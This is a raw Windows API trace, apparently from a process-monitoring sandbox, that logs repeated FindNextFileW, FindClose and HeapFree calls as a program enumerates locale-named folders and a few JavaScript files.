	[0184.341] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0184.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.341] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0184.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.341] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0184.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.342] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0184.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.342] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0184.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.342] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0184.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.343] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0184.343] FindClose (in: hFindFile=0x4142f58 | out: hFindFile=0x4142f58) returned 1
	[0184.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.343] FindNextFileW (in: hFindFile=0x4142dd8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0184.343] FindClose (in: hFindFile=0x4142dd8 | out: hFindFile=0x4142dd8) returned 1
	[0184.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.343] FindNextFileW (in: hFindFile=0x4142858, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0184.343] FindClose (in: hFindFile=0x4142858 | out: hFindFile=0x4142858) returned 1
	[0184.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.344] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1
	[0184.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.346] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0184.346] FindClose (in: hFindFile=0x4142e58 | out: hFindFile=0x4142e58) returned 1
	[0184.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.346] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1
	[0184.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.351] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0184.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.352] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0184.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.353] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0184.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.353] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0184.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.354] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0184.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.355] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0184.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.356] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0184.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.357] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0184.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.357] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0184.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.358] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0184.359] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.359] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0184.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.363] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0184.364] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.364] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0184.473] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.473] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0184.619] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.619] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0184.619] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.619] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0184.619] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.619] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0184.619] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.620] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0184.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.620] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0184.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.620] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0184.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.620] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0184.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.620] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0184.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.620] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0184.621] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.621] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0184.621] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.621] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0184.621] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.621] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0184.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
